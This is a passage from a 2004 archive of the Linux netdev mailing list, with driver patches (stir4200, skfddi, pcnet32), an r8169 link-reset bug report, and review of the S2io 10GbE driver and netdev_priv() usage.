turnaround */ if (stir->rx_receiving) { receive_stop(stir); turnaround_delay(stir, irda_get_mtt(skb)); } - else if (fifo_txwait(stir, wskb->len)) + else if (fifo_txwait(stir, wraplen)) goto out; /* shutdown or error don't send */ stir->stats.tx_packets++; stir->stats.tx_bytes += skb->len; stir->netdev->trans_start = jiffies; - pr_debug("send %d (%d)\n", skb->len, wskb->len); + pr_debug("send %d (%d)\n", skb->len, wraplen); + if (usb_bulk_msg(stir->usbdev, usb_sndbulkpipe(stir->usbdev, 1), - wskb->data, wskb->len, + tx_buff, wraplen, NULL, MSECS_TO_JIFFIES(TRANSMIT_TIMEOUT))) stir->stats.tx_errors++; out: - dev_kfree_skb(wskb); + kfree(tx_buff); } /* @@ -870,6 +890,10 @@ static int stir_transmit_thread(void *ar spin_unlock(&stir->tx_lock); } + /* need to del_timer_sync and unlink the urb */ + if (stir->rx_receiving) + receive_stop(stir); + complete_and_exit (&stir->thr_exited, 0); } @@ -1022,7 +1046,6 @@ static int stir_net_close(struct net_dev wait_for_completion(&stir->thr_exited); /* Mop up receive urb's */ - usb_unlink_urb(stir->rx_urb); usb_free_urb(stir->rx_urb); kfree(stir->rx_data); kfree_skb(stir->rx_buff.skb); From rddunlap@xenotime.net Tue Mar 2 02:35:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 02:36:16 -0800 (PST) Received: from bianca.affordablehost.com (bianca.affordablehost.com [216.46.192.8]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22AZtKO019637 for ; Tue, 2 Mar 2004 02:35:56 -0800 Received: from wbar2.sea1-4-5-045-142.sea1.dsl-verizon.net ([4.5.45.142] helo=midway.verizon.net) by bianca.affordablehost.com with smtp (Exim 4.24) id 1AvVgz-0005xz-Hk; Tue, 24 Feb 2004 01:05:17 -0500 Date: Mon, 23 Feb 2004 22:01:56 -0800 From: "Randy.Dunlap" To: akpm Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: [PATCH] skfddi: missing comma Message-Id: <20040223220156.1e618c03.rddunlap@xenotime.net> Organization: YPO4 X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - bianca.affordablehost.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - xenotime.net X-archive-position: 3693 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@xenotime.net Precedence: bulk X-list: netdev Content-Length: 677 Lines: 27 Do you already have this? // linux-263-feb23 diffstat:= drivers/net/skfp/skfddi.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -Naurp ./drivers/net/skfp/skfddi.c~skfddi ./drivers/net/skfp/skfddi.c --- ./drivers/net/skfp/skfddi.c~skfddi 2004-02-23 16:07:11.000000000 -0800 +++ ./drivers/net/skfp/skfddi.c 2004-02-23 21:44:12.000000000 -0800 @@ -262,7 +262,7 @@ static int skfp_init_one(struct pci_dev #endif err = pci_request_regions(pdev, "skfddi"); if (err) { - printk(KERN_ERR "Cannot allocate resources for adapter %s\n" + printk(KERN_ERR "Cannot allocate resources for adapter %s\n", pci_name(pdev)); goto err_out1; } -- ~Randy From rmk@arm.linux.org.uk Tue Mar 2 04:10:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 04:11:15 -0800 (PST) Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk [212.18.232.186]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22CArKO024775 for ; Tue, 2 Mar 2004 04:10:57 -0800 Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad]) by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1Ay8jT-000808-Hl; Tue, 02 Mar 2004 12:10:43 +0000 Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.30) id 1Ay8jS-0002da-No; Tue, 02 Mar 2004 12:10:42 +0000 Date: Tue, 2 Mar 2004 12:10:42 +0000 From: Russell King To: "Randy.Dunlap" Cc: jgarzik , netdev@oss.sgi.com Subject: Re: [janitor] remove casts in drivers/net/arm/ Message-ID: <20040302121042.A9931@flint.arm.linux.org.uk> References: <20040229142516.3d218ed0.rddunlap@osdl.org> <20040229143436.4bb884ee.rddunlap@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040229143436.4bb884ee.rddunlap@osdl.org>; from rddunlap@osdl.org on Sun, Feb 29, 2004 at 02:34:36PM -0800 X-archive-position: 3694 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rmk@arm.linux.org.uk Precedence: bulk X-list: netdev Content-Length: 1232 Lines: 28 On Sun, Feb 29, 2004 at 02:34:36PM -0800, Randy.Dunlap wrote: > drivers/net/arm/am79c961a.c | 18 +++++++++--------- > drivers/net/arm/ether1.c | 18 +++++++++--------- > drivers/net/arm/ether3.c | 18 +++++++++--------- > drivers/net/arm/etherh.c | 4 ++-- > 4 files changed, 29 insertions(+), 29 deletions(-) I think we should really consider using netdev_priv() in all these places so the compiler knows that 'dev' and 'priv' are related. > diff -puN drivers/net/arm/am79c961a.c~net_arm_casts drivers/net/arm/am79c961a.c > --- linux-263-229/drivers/net/arm/am79c961a.c~net_arm_casts 2004-02-29 13:53:00.000000000 -0800 > +++ linux-263-229-rddunlap/drivers/net/arm/am79c961a.c 2004-02-29 13:53:00.000000000 -0800 > @@ -196,7 +196,7 @@ am79c961_ramtest(struct net_device *dev, > static void > am79c961_init_for_open(struct net_device *dev) > { > - struct dev_priv *priv = (struct dev_priv *)dev->priv; > + struct dev_priv *priv = dev->priv; > unsigned long flags; > unsigned char *p; > u_int hdr_addr, first_free_addr; -- Russell King Linux kernel 2.6 ARM Linux - http://www.arm.linux.org.uk/ maintainer of: 2.6 PCMCIA - http://pcmcia.arm.linux.org.uk/ 2.6 Serial core From nicolas.crochu@sgam.com Tue Mar 2 07:19:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 07:19:16 -0800 (PST) Received: from mail.sgam.fr (mail.sgam.com [194.119.92.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22FJ7KO007580 for ; Tue, 2 Mar 2004 07:19:08 -0800 Received: from fr-mailapp1.fr.sgam.socgen (mailapp1 [10.15.1.14]) by mail.sgam.fr (8.12.10/8.12.10) with ESMTP id i22FItSX004622; Tue, 2 Mar 2004 16:18:55 +0100 (MET) Received: from UC1293.fr.sgam.socgen ([10.50.5.53]) by fr-mailapp1.fr.sgam.socgen with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id 1XZHQNWW; Tue, 2 Mar 2004 16:18:58 +0100 Subject: r8169 driver & -mm4 From: crochu nicolas To: romieu@fr.zoreil.com Cc: jgarzik@pobox.com, netdev@oss.sgi.com Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-flc8tQegn8umS13h857g" Message-Id: <1078240740.1781.24.camel@pinacola> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4-8mdk Date: Tue, 02 Mar 2004 16:19:00 +0100 X-archive-position: 3695 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: nicolas.crochu@sgam.com Precedence: bulk X-list: netdev Content-Length: 3425 Lines: 104 --=-flc8tQegn8umS13h857g Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Hi, Since i compiled the latest 2.6.3-mm4, without PREEMP, without SMP, and without ACPI, my laptop is almost working flawlessly. But, i was surprised when i unplugged the RJ45 cable, in=20 /var/log/messages, i got : [...] Mar 2 10:48:43 pinacola kernel: r8169: eth0: Reset RTL8169s PHY [...] then, even if i plug the cable again, i got=20 [...] Mar 2 10:48:43 pinacola kernel: r8169: eth0: Reset RTL8169s PHY Mar 2 10:49:14 pinacola last message repeated 2561 times Mar 2 10:50:14 pinacola last message repeated 5084 times Mar 2 10:50:39 pinacola last message repeated 2049 times [...] I could not even ping any host. i had to do a=20 ifdown eth0=20 ifup eth0 To be able to ping the world again.=20 C.Nicolas. lspci --------------------------------------------- 00:00.0 Host bridge: Intel Corp. 82865G/PE/P Processor to I/O Controller (rev 02) 00:01.0 PCI bridge: Intel Corp. 82865G/PE/P Processor to AGP Controller (rev 02) 00:1d.0 USB Controller: Intel Corp. 82801EB USB (rev 02) 00:1d.1 USB Controller: Intel Corp. 82801EB USB (rev 02) 00:1d.2 USB Controller: Intel Corp. 82801EB USB (rev 02) 00:1d.3 USB Controller: Intel Corp. 82801EB USB (rev 02) 00:1d.7 USB Controller: Intel Corp. 82801EB USB2 (rev 02) 00:1e.0 PCI bridge: Intel Corp. 82801BA/CA/DB/EB PCI Bridge (rev c2) 00:1f.0 ISA bridge: Intel Corp. 82801EB LPC Interface Controller (rev 02) 00:1f.1 IDE interface: Intel Corp. 82801EB Ultra ATA Storage Controller (rev 02) 00:1f.3 SMBus: Intel Corp. 82801EB SMBus Controller (rev 02) 00:1f.5 Multimedia audio controller: Intel Corp. 82801EB AC'97 Audio Controller (rev 02) 00:1f.6 Modem: Intel Corp. 82801EB AC'97 Modem Controller (rev 02) 01:00.0 VGA compatible controller: ATI Technologies Inc: Unknown device 4e50 03:00.0 CardBus bridge: ENE Technology Inc CB1410 Cardbus Controller 03:01.0 FireWire (IEEE 1394): Texas Instruments TSB43AB21 IEEE-1394a-2000 Controller (PHY/Link) 03:03.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8169 (rev 10) /var/log/syslog ------------------------------------------ [...] Mar 2 09:20:48 pinacola kernel: PCI: Found IRQ 5 for device 0000:03:03.0 Mar 2 09:20:48 pinacola kernel: eth0: Identified chip type is 'RTL8169s/8110s'. Mar 2 09:20:48 pinacola kernel: eth0: RTL8169 at 0xe18ab800, 00:90:f5:27:36:0f, IRQ 5 Mar 2 09:20:48 pinacola kernel: eth0: Auto-negotiation Enabled. Mar 2 09:20:48 pinacola kernel: eth0: 100Mbps Full-duplex operation. [...] /proc/interrupts ------------------------------- CPU0 0: 25045424 XT-PIC timer 1: 58693 XT-PIC i8042 2: 0 XT-PIC cascade 5: 310068 XT-PIC Intel ICH5, uhci_hcd, ehci_hcd, eth0 11: 3 XT-PIC ohci1394, uhci_hcd, uhci_hcd, uhci_hcd 12: 417208 XT-PIC i8042 14: 32038 XT-PIC ide0 15: 23920 XT-PIC ide1 NMI: 0 ERR: 0 --=-flc8tQegn8umS13h857g Content-Type: application/pgp-signature; name=signature.asc Content-Description: Ceci est une partie de message =?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?= -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQBARKXkxsSeKWK8V4QRAgAkAJwMQ/Clz3U6JGITfqDu6K/8fG+1WQCgujQI C77qdHy+DvMHfFc80CX+G04= =rLq4 -----END PGP SIGNATURE----- --=-flc8tQegn8umS13h857g-- From raghavendra.koushik@wipro.com Tue Mar 2 07:22:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 07:22:39 -0800 (PST) Received: from wiproecmx2.wipro.com (wiproecmx2.wipro.com [164.164.31.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22FMTKO008053 for ; Tue, 2 Mar 2004 07:22:31 -0800 Received: from ec-vwall-wd (ec-vwall-wd.wipro.com [10.200.52.125]) by wiproecmx2.wipro.com (8.12.9-20031013/8.12.9) with SMTP id i22DkOlU012206 for ; Tue, 2 Mar 2004 19:16:25 +0530 (IST) Received: from blr-ec-bh2.wipro.com ([10.200.50.92]) by ec-vwall-wd with InterScan Messaging Security Suite; Tue, 02 Mar 2004 19:17:41 +0530 Received: from blr-m3-msg.wipro.com ([10.114.50.99]) by blr-ec-bh2.wipro.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 2 Mar 2004 19:16:23 +0530 X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Submission #3 for S2io 10GbE driver Date: Tue, 2 Mar 2004 19:16:22 +0530 Message-ID: <4223A04BF7D1B941A25246ADD0462FF50115AFCF@blr-m3-msg.wipro.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Submission #3 for S2io 10GbE driver Thread-Index: AcP/Wff/fbVBm5XxRUWIKOkRQoO4BgA+F2xQ From: To: Cc: , , , , , X-OriginalArrivalTime: 02 Mar 2004 13:46:23.0266 (UTC) FILETIME=[C012B820:01C4005C] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i22FMTKO008053 X-archive-position: 3696 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: raghavendra.koushik@wipro.com Precedence: bulk X-list: netdev Content-Length: 3416 Lines: 97 Hi Jeff, Really sorry about that "confidentiality notice" that gets attached. I have asked my sysAdmin to get rid of it. He has promised to do so ASAP. Hope this mail does not have it attached at the end :-). If at all the message still persists please ignore it as inconsequential to our discussion. I Have a few more questions. >>4) just delete the SET_NETDEV_DEV(), FREE_NETDEV, and IRQ_NONE >>compatibility defines. these are in 2.4 just like 2.6. Not all 2.4 kernels have them yet right? but since this driver is going into 2.6 kernel if you want all these backward compatibility macros eliminated I can do that. >>13) in s2io_xmit, kfree the skb (drop it) if you don't have enough free >>space to queue it. this is normally a BUG condition, since proper use >>of netif_{start,stop,wake}_queue() will guarantee that s2io_xmit will >>only be called when there is free space to queue another skb. On returning error (non zero) from s2io_xmit, I think the calling function frees the skb. How s2io_xmit works is when I get a packet for Tx and I find that all the Tx descriptors are owned by the NIC, I stop the queue and return error. So I wouldn't know before hand whether free queue space is available or not. Regards Koushik -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: Monday, March 01, 2004 12:24 PM To: Raghavendra Koushik (WT01 - EMBEDDED & PRODUCT ENGINEERING SOLUTIONS) Cc: leonid.grossman@s2io.com; netdev@oss.sgi.com; shemminger@osdl.org; hch@infradead.org; ravinandan.arakali@s2io.com; raghavendra.koushik@s2io.com Subject: Re: Submission #3 for S2io 10GbE driver raghavendra.koushik@wipro.com wrote: > Jeff, > Regarding Point # 37 > > >>>37) kill all of this: >>> >>>+/* OS related system calls */ >>>+ >>>+#ifndef readq >>>+static inline u64 read64(void *addr) >>>+{ >>>+ u64 ret = 0; >>>+ ret = readl(addr + 4); >>>+ (u64) ret <<= 32; >>>+ (u64) ret |= readl(addr); > > [....] > > I agree that read/write(32,16,8) are not used so can be eliminated, > but the read/write64 macros are essential because not all platforms > have defined the readq and writeq system calls. i386 for example > doesn't have readq/writeq and to write into the 64 bit registers of > the NIC, I use 2 successive 32 bits (readl/writel) operation to > achieve the 64 bit equivalent. This procedure does work on all the > platforms that we have tested on. The code should use the kernel API -- readq/writeq -- not define its own API. With regards to the missing readq/writeq on some architectures... Short term, if some arches do not provide readq/writeq, provide your own definition (i.e. rename your write64 to a conditionally-defined writeq). Long term, all Linux platforms need to provide readq/writeq, so we need to modify the architectures with the missing pieces. > Confidentiality Notice > > The information contained in this electronic message and any > attachments to this message are intended for the exclusive use of the > addressee(s) and may contain confidential or privileged information. > If you are not the intended recipient, please notify the sender at > Wipro or Mailadmin@wipro.com immediately and destroy all copies of > this message and any attachments. Oh really? ;-) You should talk to your lawyers and sysadmins about sending email to open source people and lists... Regards, Jeff From jgarzik@pobox.com Tue Mar 2 10:47:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 10:47:29 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22IlNKO017345 for ; Tue, 2 Mar 2004 10:47:24 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:2916 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AyEvJ-00021D-LL; Tue, 02 Mar 2004 18:47:21 +0000 Message-ID: <4044D6AD.9090209@pobox.com> Date: Tue, 02 Mar 2004 13:47:09 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: raghavendra.koushik@wipro.com CC: leonid.grossman@s2io.com, netdev@oss.sgi.com, shemminger@osdl.org, hch@infradead.org, ravinandan.arakali@s2io.com, raghavendra.koushik@s2io.com Subject: Re: Submission #3 for S2io 10GbE driver References: <4223A04BF7D1B941A25246ADD0462FF50115AFCF@blr-m3-msg.wipro.com> In-Reply-To: <4223A04BF7D1B941A25246ADD0462FF50115AFCF@blr-m3-msg.wipro.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3697 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 2496 Lines: 70 raghavendra.koushik@wipro.com wrote: > Hi Jeff, > > Really sorry about that "confidentiality notice" that gets attached. > I have asked my sysAdmin to get rid of it. He has promised to do so ASAP. > Hope this mail does not have it attached at the end :-). If at all the > message still persists please ignore it as inconsequential to our discussion. > > I Have a few more questions. > > >>>4) just delete the SET_NETDEV_DEV(), FREE_NETDEV, and IRQ_NONE >>>compatibility defines. these are in 2.4 just like 2.6. > > > Not all 2.4 kernels have them yet right? but since this driver is going Correct. But when I merge this driver into 2.4, it will be latest 2.4 (which contains these definitions). The vendor (s2io) is expected to maintain any old-kernel compatibility outside the kernel. For example, if you submitting the s2io driver for inclusion in my employer's product, Red Hat Enterprise Linux, then you would submit with the compatibility gunk. > into 2.6 kernel if you want all these backward compatibility macros eliminated > I can do that. Yes, please. >>>13) in s2io_xmit, kfree the skb (drop it) if you don't have enough free >>>space to queue it. this is normally a BUG condition, since proper use >>>of netif_{start,stop,wake}_queue() will guarantee that s2io_xmit will >>>only be called when there is free space to queue another skb. > > > On returning error (non zero) from s2io_xmit, I think the calling function frees > the skb. Not correct in all cases, this is why the driver should drop the skb and free it. Several existing drivers get this wrong, in fact :/ > How s2io_xmit works is when I get a packet for Tx and I find that all the > Tx descriptors are owned by the NIC, I stop the queue and return error. > So I wouldn't know before hand whether free queue space is available or not. This is incorrect, and definitely an issue that needs to be addressed. As I said, the model is, the driver calls netif_stop_queue() after queueing a packet, when it knows there is no more room for a full packet. The tg3 driver does it like this: ...queue an skb to hardware... if (TX_BUFFS_AVAIL(tp) <= (MAX_SKB_FRAGS + 1)) netif_stop_queue(dev); Therefore you guarantee the queue is stopped until you are 100% certain that another skb (up to MAX_SKB_FRAGS + "main frag" fragments) may be queued to hardware. You do -not- want to figure out "after the fact" that you cannot queue the skb you were just passed. Jeff From rddunlap@osdl.org Tue Mar 2 11:03:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 11:03:31 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22J3RKO018460 for ; Tue, 2 Mar 2004 11:03:27 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i22J3CE14185; Tue, 2 Mar 2004 11:03:13 -0800 Date: Tue, 2 Mar 2004 11:02:37 -0800 From: "Randy.Dunlap" To: Jeff Garzik Cc: rmk@arm.linux.org.uk, netdev@oss.sgi.com Subject: Re: [janitor] remove casts in drivers/net/arm/ Message-Id: <20040302110237.0f580736.rddunlap@osdl.org> In-Reply-To: <4044D86C.70709@pobox.com> References: <20040229142516.3d218ed0.rddunlap@osdl.org> <20040229143436.4bb884ee.rddunlap@osdl.org> <20040302121042.A9931@flint.arm.linux.org.uk> <4044D86C.70709@pobox.com> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3698 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 938 Lines: 31 On Tue, 02 Mar 2004 13:54:36 -0500 Jeff Garzik wrote: | Russell King wrote: | > On Sun, Feb 29, 2004 at 02:34:36PM -0800, Randy.Dunlap wrote: | > | >> drivers/net/arm/am79c961a.c | 18 +++++++++--------- | >> drivers/net/arm/ether1.c | 18 +++++++++--------- | >> drivers/net/arm/ether3.c | 18 +++++++++--------- | >> drivers/net/arm/etherh.c | 4 ++-- | >> 4 files changed, 29 insertions(+), 29 deletions(-) | > | > | > I think we should really consider using netdev_priv() in all these places | > so the compiler knows that 'dev' and 'priv' are related. | | | Good point. I respectfully disagree, but if the maintainter won't merge them as is, so be it. I have trouble understanding why this: return (char *)dev + ((sizeof(struct net_device) + 31) & ~31); is better than using a structure->field, i.e., dev->priv Can one of you enlighten me? Using dev->priv shows that 'dev' and 'priv' are related. -- ~Randy From rddunlap@osdl.org Tue Mar 2 11:18:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 11:18:50 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22JIiKO019727 for ; Tue, 2 Mar 2004 11:18:44 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i22JHaE17628; Tue, 2 Mar 2004 11:17:36 -0800 Date: Tue, 2 Mar 2004 11:17:00 -0800 From: "Randy.Dunlap" To: Jeff Garzik Cc: rmk@arm.linux.org.uk, netdev@oss.sgi.com Subject: Re: [janitor] remove casts in drivers/net/arm/ Message-Id: <20040302111700.76c0b381.rddunlap@osdl.org> In-Reply-To: <4044DB78.7040309@pobox.com> References: <20040229142516.3d218ed0.rddunlap@osdl.org> <20040229143436.4bb884ee.rddunlap@osdl.org> <20040302121042.A9931@flint.arm.linux.org.uk> <4044D86C.70709@pobox.com> <20040302110237.0f580736.rddunlap@osdl.org> <4044DB78.7040309@pobox.com> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3699 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 1382 Lines: 42 On Tue, 02 Mar 2004 14:07:36 -0500 Jeff Garzik wrote: | Randy.Dunlap wrote: | > On Tue, 02 Mar 2004 13:54:36 -0500 Jeff Garzik wrote: | > | > | Russell King wrote: | > | > On Sun, Feb 29, 2004 at 02:34:36PM -0800, Randy.Dunlap wrote: | > | > | > | >> drivers/net/arm/am79c961a.c | 18 +++++++++--------- | > | >> drivers/net/arm/ether1.c | 18 +++++++++--------- | > | >> drivers/net/arm/ether3.c | 18 +++++++++--------- | > | >> drivers/net/arm/etherh.c | 4 ++-- | > | >> 4 files changed, 29 insertions(+), 29 deletions(-) | > | > | > | > | > | > I think we should really consider using netdev_priv() in all these places | > | > so the compiler knows that 'dev' and 'priv' are related. | > | | > | | > | Good point. | > | > I respectfully disagree, but if the maintainter won't merge | > them as is, so be it. | > | > I have trouble understanding why this: | > return (char *)dev + ((sizeof(struct net_device) + 31) & ~31); | > is better than using a structure->field, i.e., | > dev->priv | > | > Can one of you enlighten me? | | | One is an additional pointer load and dereference, and one is a constant | offset from the beginning of the dev structure, calculated at compile | time. netdev_priv() provides the same results as dev->priv but at less | cost. OK, thanks, I see. I think it's ugly, but you'll get updated patches anyway. -- ~Randy From jgarzik@pobox.com Tue Mar 2 11:29:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 11:29:22 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22JTFKO020334 for ; Tue, 2 Mar 2004 11:29:16 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:2967 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AyFZq-0002k5-RQ; Tue, 02 Mar 2004 19:29:14 +0000 Message-ID: <4044E07E.8000409@pobox.com> Date: Tue, 02 Mar 2004 14:29:02 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: rmk@arm.linux.org.uk, netdev@oss.sgi.com Subject: Re: [janitor] remove casts in drivers/net/arm/ References: <20040229142516.3d218ed0.rddunlap@osdl.org> <20040229143436.4bb884ee.rddunlap@osdl.org> <20040302121042.A9931@flint.arm.linux.org.uk> <4044D86C.70709@pobox.com> <20040302110237.0f580736.rddunlap@osdl.org> <4044DB78.7040309@pobox.com> <20040302111700.76c0b381.rddunlap@osdl.org> In-Reply-To: <20040302111700.76c0b381.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3700 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1747 Lines: 56 Randy.Dunlap wrote: > On Tue, 02 Mar 2004 14:07:36 -0500 Jeff Garzik wrote: > > | Randy.Dunlap wrote: > | > On Tue, 02 Mar 2004 13:54:36 -0500 Jeff Garzik wrote: > | > > | > | Russell King wrote: > | > | > On Sun, Feb 29, 2004 at 02:34:36PM -0800, Randy.Dunlap wrote: > | > | > > | > | >> drivers/net/arm/am79c961a.c | 18 +++++++++--------- > | > | >> drivers/net/arm/ether1.c | 18 +++++++++--------- > | > | >> drivers/net/arm/ether3.c | 18 +++++++++--------- > | > | >> drivers/net/arm/etherh.c | 4 ++-- > | > | >> 4 files changed, 29 insertions(+), 29 deletions(-) > | > | > > | > | > > | > | > I think we should really consider using netdev_priv() in all these places > | > | > so the compiler knows that 'dev' and 'priv' are related. > | > | > | > | > | > | Good point. > | > > | > I respectfully disagree, but if the maintainter won't merge > | > them as is, so be it. > | > > | > I have trouble understanding why this: > | > return (char *)dev + ((sizeof(struct net_device) + 31) & ~31); > | > is better than using a structure->field, i.e., > | > dev->priv > | > > | > Can one of you enlighten me? > | > | > | One is an additional pointer load and dereference, and one is a constant > | offset from the beginning of the dev structure, calculated at compile > | time. netdev_priv() provides the same results as dev->priv but at less > | cost. > > OK, thanks, I see. > I think it's ugly, but you'll get updated patches anyway. I wasn't rejecting your patches. In fact, I want to apply your cast patches separate from any netdev_priv() cleanup. netdev_priv() should be a separate item on the janitor todo list. RMK however is free to reject these patches for drivers/net/arm/ of course... Jeff From brazilnut@us.ibm.com Tue Mar 2 11:30:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 11:30:06 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22JTxKO020447 for ; Tue, 2 Mar 2004 11:29:59 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i22JTqrj089502; Tue, 2 Mar 2004 14:29:52 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i22JToHN096462; Tue, 2 Mar 2004 12:29:51 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i22JRiJ11750; Tue, 2 Mar 2004 11:27:44 -0800 From: Don Fry Message-Id: <200403021927.i22JRiJ11750@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.4-rc1] pcnet32 correct names for changes To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Tue, 2 Mar 2004 11:27:44 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3701 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 947 Lines: 22 This patch corrects the names of contributors of changes to the pcnet32 driver. --- 